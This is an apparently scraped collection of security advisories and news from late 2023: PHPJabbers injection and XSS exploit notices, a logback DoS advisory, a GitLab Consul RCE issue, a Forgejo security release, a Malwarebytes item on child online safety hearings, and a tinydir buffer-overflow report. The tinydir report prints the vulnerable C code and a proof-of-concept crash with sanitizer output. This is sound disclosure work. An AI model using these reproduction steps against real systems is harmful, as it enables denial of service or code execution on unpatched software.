PHPJabbers Shuttle Booking Software version 2.0 suffers from a CSV injection vulnerability.

    # Exploit Title: PHPJabbers Shuttle Booking Software v2.0 - CSV Injection# Date: 19/11/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/shuttle-booking-software/# Version: v2.0# Tested on: Windows 10, Windows 11, MS Office 2010# CVE-2023-48830Descriptions:PHPJabbers Shuttle Booking Software v2.0 is vulnerable to CSVinjection vulnerability which allows an attacker to execute remotecode. The vulnerability exists due to insufficient input validation onthe Unique ID field in the Reservations list that is used to constructa CSV file.Steps to Reproduce:1. Login your panel.2. Go to Options Menu then click Language Section.3. Now use CSV Injection Payload in any field and go to Import/Export.4. Now click export and open your system.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48830)

PHPJabbers Shuttle Booking Software 2.0 CSV Injection

PHPJabbers Time Slots Booking Calendar version 4.0 suffers from multiple persistent cross site scripting vulnerabilities.

    # Exploit Title: PHPJabbers Time Slots Booking Calendar v4.0 -Multiple Stored XSS# Date: 13/11/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/time-slots-booking-calendar/# Version: v4.0# Tested on: Windows 10, Windows 11, Linux# CVE-2023-48828Descriptions:Multiple Stored Cross-Site Scripting (XSS) is a type of securityvulnerability that occurs when an application or website allows anattacker to inject malicious scripts into the content that ispermanently stored on the server. Unlike reflected XSS, where themalicious script is embedded in a URL and executed immediately, storedXSS involves the persistent storage of the malicious script on thetarget server, waiting for unsuspecting users to access thecompromised content.Steps to Reproduce:1. Login your panel2. Vulnerable parameters are "name, plugin_sms_api_key,plugin_sms_country_code, calendar_id, title, country name,customer_name".3. Go to System Menu then click SMS Settings.4. Then use any XSS Payload in "SMS API Key", "Default Country Code"input field and Save.5. You will see popup.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48828)

PHPJabbers Time Slots Booking Calendar 4.0 Cross Site Scripting

PHPJabbers Time Slots Booking Calendar version 4.0 suffers from an html injection vulnerability.

    # Exploit Title: PHPJabbers Time Slots Booking Calendar v4.0 - HTML Injection# Date: 13/11/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/time-slots-booking-calendar/# Version: v4.0# Tested on: Windows 10, Windows 11, Linux# CVE-2023-48827Descriptions:HTML injection, also known as HTML code injection or cross-sitescripting (XSS), is a web security vulnerability that allows anattacker to inject malicious code into a web page that is then viewedby other users. This can lead to various attacks, such as stealingsensitive information, session hijacking, defacement of websites, ordelivering malware to users.Steps to Reproduce:1. Login your panel2. "name, plugin_sms_api_key, plugin_sms_country_code, calendar_id,title, country name, customer_name" parameters are vulnerable to htmlinjection.3. Go to System Menu then click SMS Settings.4. Then use any HTML Tag in "SMS API Key", "Default Country Code"input field and Save.5. You will see HTML code working here.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48827)

PHPJabbers Time Slots Booking Calendar 4.0 HTML Injection

A WIRED investigation into internet censorship in US schools found widespread use of filters to censor health, identity, and other crucial information. Students say it makes the web entirely unusable.

Inside America's School Internet Censorship Machine

US senators issued subpoenas for the CEO’s of five social media giants to testify about their "failure to protect children online".

US senators have urgently invited the CEOs of five of the major social media giants to testify about their failure to protect children online. The Senate Judiciary Committee said it will hear from Meta CEO Mark Zuckerberg, X (formerly Twitter) CEO Linda Yaccarino, TikTok CEO Shou Zi Chew, Snap CEO Evan Spiegel, and Discord CEO Jason Citron.

In a press release, the US senate committee on the judiciary announced that the Committee’s previously announced hearing on online child sexual exploitation has been rescheduled for January 31, 2024 and will feature testimony from the CEOs. An earlier hearing on Tuesday, February 14, 2023, included only consumer advocates as witnesses, and no industry representatives.

The CEOs of X, Discord, and Snap will testify after subpoenas were issued by the Committee, following repeated refusals by the three leaders to testify. The CEOs of Meta and TikTok voluntarily agreed to testify at the hearing.

Senators Durbin and Graham commented:

> “Several companies initially refused to accept a subpoena. The US Marshals Service even attempted to serve the subpoena at Discord’s office. Both actions are remarkable departures from typical practice.”

The hearing comes as part of a bipartisan effort to protect children online. To that end, several online safety bills across multiple states have gone into effect. For example, Utah signed a bill in March that will require minors to obtain parental consent to sign up to social platforms, while both Louisiana and Mississippi now require age verification to view content considered harmful to children, like porn. On the other hand, a federal judge has blocked a Texas law requiring age verification and a health warning for viewing pornographic websites, a day before the law was set to take effect.

In May, we talked to Alec Muffet about the possible downsides of some of these bills.

During the “Protecting our children online” hearing in February, witnesses and senators mentioned requirements like parental controls, default settings, and audits as tools that could be used to promote online safety for teenagers.  They focused on the importance of holding platforms liable for failure to enforce their own terms, and discussed imposing a duty of care on online platforms.

So now seems to be the time that the CEOs of the major platforms will be forced to explain what they have done in the past and how they plan to do better in the future. You would expect they would like to bring their ideas and input voluntarily to the table, but nonetheless it took subpoenas to get them all there.

**Children and online safety**

The internet is both a good and bad place. A good approach is to spend little to no time on sites that do not give your child a positive and learning experience. And when it comes to internet safety for kids and teens, the best approach is for parents and carers to be involved in their child’s digital life.

If you don’t want to rely on the introduction of legislation and how the social media platforms will undoubtedly struggle to become compliant, we can recommend reading our blog titled “Internet safety tips for kids and teens: A comprehensive guide for the modern parent.”

I do expect some of the platforms to drag their feet, because it seems they always do. Meta is already facing a lawsuit, filed in a California federal court, which argues that Meta unlawfully misled the public about the harms its products, like Facebook and Instagram, could impose on children and teens.

In the UK, Bytedance’s TikTok is looking at a $28.91m fine related to how children are safeguarded on the app.

And Meta, ByteDance, Alphabet, and Snap, are facing another lawsuit alleging their social platforms have adverse mental health effects on children and for running platforms that are addictive to kids.

While it is clear that something needs to be done to protect our children, agreeing on the way in which we can achieve this is hard. Especially if we can’t rely on all the social media platforms to volunteer their cooperation.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 Social media giants to testify over failing to protect kids 

A serialization vulnerability in logback receiver component part of logback version 1.4.13, 1.3.13 and 1.2.12 allows an attacker to mount a Denial-Of-Service attack by sending poisoned data.


Skip to content

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2023-6481

**Logback is vulnerable to an attacker mounting a Denial-Of-Service attack by sending poisoned data**

High severity GitHub Reviewed Published Dec 4, 2023 to the GitHub Advisory Database • Updated Dec 8, 2023

**Package**

maven ch.qos.logback:logback-core (Maven)

**Affected versions**

\= 1.4.13

\= 1.3.13

\= 1.2.12

**Patched versions**

1.4.14

1.3.14

1.2.13

**Description**

Published to the GitHub Advisory Database

Dec 4, 2023

GHSA-gm62-rw4g-vrc4: Logback is vulnerable to an attacker mounting a Denial-Of-Service attack by sending poisoned data

A list of topics we covered in the week of November 27 to December 3 of 2023

December 1, 2023 - Domain fronting is a technique to hide the true origin of HTTPS requests by hiding the real domain name encrypted inside a legitimate TLS request.

November 30, 2023 - A fake antivirus alert may suddenly hijack your screen while browsing. This latest malvertising campaign hit top publishers.

November 29, 2023 - Google's released an update to Chrome which includes seven security fixes. Make sure you're using the latest version!

November 28, 2023 - A vulnerability in the ownCloud file sharing app could lead to the exposure of sensitive credentials like admin passwords.

November 23, 2023 - Google has set a date for the introduction of Manifest V3 which will hurt the capabilities of many ad blockers.

 A week in security (November 27 &#8211; December 3) 

Patch in third party library Consul requires 'enable-script-checks' to be set to False. This was required to enable a patch by the vendor. Without this setting the patch could be bypassed. This only affects GitLab-EE.

Skip to content

*   *   Why GitLab
    *   Pricing
    *   Contact Sales
    *   Explore
    
*   Why GitLab
*   Pricing
*   Contact Sales
*   Explore

**Consul RCE vulnerability \`enable-script-checks\`**

**Summary**

GitLab Premium _in GitLab_ customer engaged GitLab Support to disclose the ability to exploit an RCE vulnerability in Consul, using GitLab Omnibus version v15.11.3 with Consul 1.12.5.

In 2019 there was an MR that addressed this by upgrading Consul for Omnibus: !3400 (merged)

This MR addressed the following issue: #4124 (closed)

The customer has indicated that upgrading the Consul version to a patched version is not enough to mitigate the vulnerability. Apparently we still set enable_script_checks to true by default in the Omnibus cookbook, and part of the mitigation is changing enable_script_checks to enable_local_script_checks.

**Steps to reproduce**

**Mitigation steps**

**Example Project****What is the current _bug_ behavior?****What is the expected _correct_ behavior?****Relevant logs and/or screenshots****Output of checks****Results of GitLab environment info**Expand for output related to GitLab environment info

(For installations with omnibus-gitlab package run and paste the output of:
\`sudo gitlab-rake gitlab:env:info\`)

(For installations from source run and paste the output of:
\`sudo -u git -H bundle exec rake gitlab:env:info RAILS\_ENV=production\`)

**Results of GitLab application Check**Expand for output related to the GitLab application check

(For installations with omnibus-gitlab package run and paste the output of:
sudo gitlab-rake gitlab:check SANITIZE=true)

(For installations from source run and paste the output of:
sudo -u git -H bundle exec rake gitlab:check RAILS_ENV=production SANITIZE=true)

(we will only investigate if the tests are passing)
**Possible fixes**

cc @gitlab-com/gl-security/appsec

Edited May 17, 2023 by Michael Trainor

CVE-2023-5332: Consul RCE vulnerability `enable-script-checks` (#8171) · Issues · GitLab.org / omnibus-gitlab · GitLab

TinyDir is a lightweight C directory and file reader. Buffer overflows in the `tinydir_file_open()` function. This vulnerability has been patched in version 1.2.6.

**Affected versions**

<= 1.2.5 (latest)

**Summary**

I spotted some buffer overflow vulnerabilities at the following locations in the tinydir source code:  
https://github.com/cxong/tinydir/blob/master/tinydir.h#L675-L680  
https://github.com/cxong/tinydir/blob/master/tinydir.h#L706  
https://github.com/cxong/tinydir/blob/master/tinydir.h#L711

**Details**

Buffer overflows in the tinydir_file_open() function, see marked lines below:

/\* Open a single file given its path \*/
\_TINYDIR\_FUNC
int tinydir\_file\_open(tinydir\_file \*file, const \_tinydir\_char\_t \*path)
{
	tinydir\_dir dir;
	int result \= 0;
	int found \= 0;
	\_tinydir\_char\_t dir\_name\_buf\[\_TINYDIR\_PATH\_MAX\];
	\_tinydir\_char\_t file\_name\_buf\[\_TINYDIR\_FILENAME\_MAX\];
	\_tinydir\_char\_t \*dir\_name;
	\_tinydir\_char\_t \*base\_name;
#if (defined \_MSC\_VER || defined \_\_MINGW32\_\_)
	\_tinydir\_char\_t drive\_buf\[\_TINYDIR\_PATH\_MAX\];
	\_tinydir\_char\_t ext\_buf\[\_TINYDIR\_FILENAME\_MAX\];
#endif

	if (file \== NULL || path \== NULL || \_tinydir\_strlen(path) \== 0)
	{
		errno \= EINVAL;
		return \-1;
	}
	if (\_tinydir\_strlen(path) + \_TINYDIR\_PATH\_EXTRA >= \_TINYDIR\_PATH\_MAX)
	{
		errno \= ENAMETOOLONG;
		return \-1;
	}

	/\* Get the parent path \*/
#if (defined \_MSC\_VER || defined \_\_MINGW32\_\_)
#if ((defined \_MSC\_VER) && (\_MSC\_VER >= 1400))
	errno \= \_tsplitpath\_s(
		path,
		drive\_buf, \_TINYDIR\_DRIVE\_MAX,
		dir\_name\_buf, \_TINYDIR\_FILENAME\_MAX,
		file\_name\_buf, \_TINYDIR\_FILENAME\_MAX,
		ext\_buf, \_TINYDIR\_FILENAME\_MAX);
#else
	\_tsplitpath(
		path,
		drive\_buf,
		dir\_name\_buf,
		file\_name\_buf,
		ext\_buf); // VULN: potential buffer overflow due to insecure splitpath api (https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/splitpath-wsplitpath?view=msvc-170)
#endif

	if (errno)
	{
		return \-1;
	}

/\* \_splitpath\_s not work fine with only filename and widechar support \*/
#ifdef \_UNICODE
	if (drive\_buf\[0\] \== L'\\xFEFE')
		drive\_buf\[0\] \= '\\0';
	if (dir\_name\_buf\[0\] \== L'\\xFEFE')
		dir\_name\_buf\[0\] \= '\\0';
#endif

	/\* Emulate the behavior of dirname by returning "." for dir name if it's
	empty \*/
	if (drive\_buf\[0\] \== '\\0' && dir\_name\_buf\[0\] \== '\\0')
	{
		\_tinydir\_strcpy(dir\_name\_buf, TINYDIR\_STRING("."));
	}
	/\* Concatenate the drive letter and dir name to form full dir name \*/
	\_tinydir\_strcat(drive\_buf, dir\_name\_buf);
	dir\_name \= drive\_buf;
	/\* Concatenate the file name and extension to form base name \*/
	\_tinydir\_strcat(file\_name\_buf, ext\_buf); // VULN: since sizeof(file\_name\_buf) + sizeof(ext\_buf) is larger than sizeof(file\_name\_buf), we have a potential stack buffer overflow
	base\_name \= file\_name\_buf;
#else
	\_tinydir\_strcpy(dir\_name\_buf, path);
	dir\_name \= dirname(dir\_name\_buf);
	\_tinydir\_strcpy(file\_name\_buf, path); // VULN: since sizeof(file\_name\_buf) is smaller than the maximum path length, we have a potential stack buffer overflow
	base\_name \= basename(file\_name\_buf);
#endif

	/\* Special case: if the path is a root dir, open the parent dir as the file \*/
#if (defined \_MSC\_VER || defined \_\_MINGW32\_\_)
	if (\_tinydir\_strlen(base\_name) \== 0)
#else
	if ((\_tinydir\_strcmp(base\_name, TINYDIR\_STRING("/"))) \== 0)
#endif
	{
		memset(file, 0, sizeof \* file);
		file\->is\_dir \= 1;
		file\->is\_reg \= 0;
		\_tinydir\_strcpy(file\->path, dir\_name);
		file\->extension \= file\->path + \_tinydir\_strlen(file\->path);
		return 0;
	}

	/\* Open the parent directory \*/
	if (tinydir\_open(&dir, dir\_name) \== \-1)
	{
		return \-1;
	}

	/\* Read through the parent directory and look for the file \*/
	while (dir.has\_next)
	{
		if (tinydir\_readfile(&dir, file) \== \-1)
		{
			result \= \-1;
			goto bail;
		}
		if (\_tinydir\_strcmp(file\->name, base\_name) \== 0)
		{
			/\* File found \*/
			found \= 1;
			break;
		}
		tinydir\_next(&dir);
	}
	if (!found)
	{
		result \= \-1;
		errno \= ENOENT;
	}

bail:
	tinydir\_close(&dir);
	return result;
}

**PoC**

Step-by-step instructions to replicate the third vulnerability that's present at this location:  
https://github.com/cxong/tinydir/blob/master/tinydir.h#L711

    $ git clone https://github.com/cxong/tinydir
    $ cd tinydir/samples/
    $ gcc -g -fsanitize=address -I.. file_open_sample.c -o file_open_sample
    $ mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
    $ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Path: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Extension: 
    Is dir? yes
    Is regular file? no
    $ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
    =================================================================
    ==2533==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd1ecabeb0 at pc 0x7f37b22544bf bp 0x7ffd1ecaac10 sp 0x7ffd1ecaa3b8
    WRITE of size 513 at 0x7ffd1ecabeb0 thread T0
        #0 0x7f37b22544be in __interceptor_strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440
        #1 0x5625cf301b69 in tinydir_file_open ../tinydir.h:711
        #2 0x5625cf3021f4 in main /home/raptor/tinydir/samples/file_open_sample.c:12
        #3 0x7f37b1e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
        #4 0x7f37b1e29e3f in __libc_start_main_impl ../csu/libc-start.c:392
        #5 0x5625cf3004e4 in _start (/home/raptor/tinydir/samples/file_open_sample+0x24e4)
    
    Address 0x7ffd1ecabeb0 is located in stack of thread T0 at offset 4704 in frame
        #0 0x5625cf3018c3 in tinydir_file_open ../tinydir.h:641
    
      This frame has 3 object(s):
        [48, 4184) 'dir' (line 642)
        [4448, 4704) 'file_name_buf' (line 646)
        [4768, 8864) 'dir_name_buf' (line 645) <== Memory access at offset 4704 partially underflows this variable
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440 in __interceptor_strcpy
    Shadow bytes around the buggy address:
      0x100023d8d780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x100023d8d790: 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
      0x100023d8d7a0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
      0x100023d8d7b0: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
      0x100023d8d7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x100023d8d7d0: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 00 00
      0x100023d8d7e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x100023d8d7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x100023d8d800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x100023d8d810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x100023d8d820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==2533==ABORTING
    

The other two vulnerabilities are Windows-specific. It should be possible to replicate them by crafting long paths in a similar way.

**Impact**

If the input above crosses a security boundary, the impact of the buffer overflow vulnerabilities could range from denial of service to arbitrary code execution.

CVE-2023-49287: Buffer overflow vulnerabilities in tinydir

Forgejo before 1.20.5-1 allows remote attackers to test for the existence of private user accounts by appending .rss (or another extension) to a URL.

Forgejo v1.20.5-1 was released 25 November 2023.

This release contains _critical security fixes_ related to permissions enforcement of API endpoints.

This release also contains bug fixes, as detailed in the release notes.

**Recommended Action**

We _strongly recommend_ that all Forgejo installations are upgraded to the latest version as soon as possible.

**API and web endpoint vulnerable to manually crafted identifiers**

Some API endpoints, such as adding a reaction to a comment, rely on an identifier unique to an object (a comment in this example). There are similar cases for web endpoints which are used by the Forgejo web interface.

The permissions required for the user performing the action on the repository are properly enforced. But a check was missing to ensure that the object (a comment in the example) also belongs to the repository the permissions are checked against. Without this check it is possible both to perform destructive actions and to access information in repositories unrelated to the request, including private ones.

API and web endpoints have been analysed, and those that were missing such a verification can be exploited by a malicious actor to:

*   delete releases and tags
*   delete and modify issues or pull requests comments
*   reveal the content of issues or pull requests comments from private repositories
*   perform other non-destructive actions such as creating issues, moving pinned issues, or obtaining deploy public keys

The vulnerable endpoints were fixed and tests written to verify the fix is effective.

**docker login and 2FA**

When using docker login to authenticate against a Forgejo instance using basic authentication, there needs to be an additional verification if 2FA is activated for the user. That verification was missing for the API endpoint used by docker login, thus bypassing 2FA.

**Responsible disclosure to Gitea**

On 25 October 2023 the Forgejo security team identified that multiple API and web endpoints were not protected against manually crafted identifiers, and the Gitea security team was notified. A 30-day embargo was requested, after which a patch to the v1.20 point release could be published. Further research from both Gitea and Forgejo teams in the following days revealed more vulnerabilities. Initial fixes and tests verifying they are effective were exchanged, but after their last email on 31 October 2023 the Gitea security team stopped responding. Given the severity of the vulnerability, the Forgejo security team asked again for feedback on 16 November 2023, but did not get any reply. Having exhausted all options for cooperation, the Forgejo security team completed the security fix on its own. The resulting fix which is published in this release was sent to the Gitea security team encrypted in its final version on 24 November 2023. At the time of publication, there was still no response from the Gitea security team.

**Responsible disclosure to Gogs**

The Gogs developer was notified of the vulnerability on 25 October 2023. There is no encrypted channel and only a terse but unambiguous message was sent. There has been no response.

**Forgejo will give advance warning of security releases**

Similar to what is done when a Go release contains a security fix, Forgejo will now publish advance warning of security releases. They will not reveal the details of the vulnerability but will allow Forgejo admins to plan ahead and better secure their instance. Anyone can watch to the dedicated tracker or subscribe to the RSS feed.

**Gogs and Gitea upgrades to Forgejo**

Gitea admins are reminded that Forgejo is a 100% compatible drop-in replacement for Gitea. It is enough to replace the Gitea binary or the container image with Forgejo and restart. No configuration modification is necessary. They are encouraged to choose that option to get this security fix as soon as possible.

In the absence of a security fix for Gogs, it is also possible to try and upgrade Gogs to Forgejo. Note however that such an upgrade will require manual intervention and configuration changes because the upgrade path has not been tested.

**Contribute to Forgejo**

If you have any feedback or suggestions for Forgejo, we’d love to hear from you! Open an issue on our issue tracker for feature requests or bug reports. You can also find us on the Fediverse, or drop by our Matrix space (main chat room) to say hi!

Tag

#git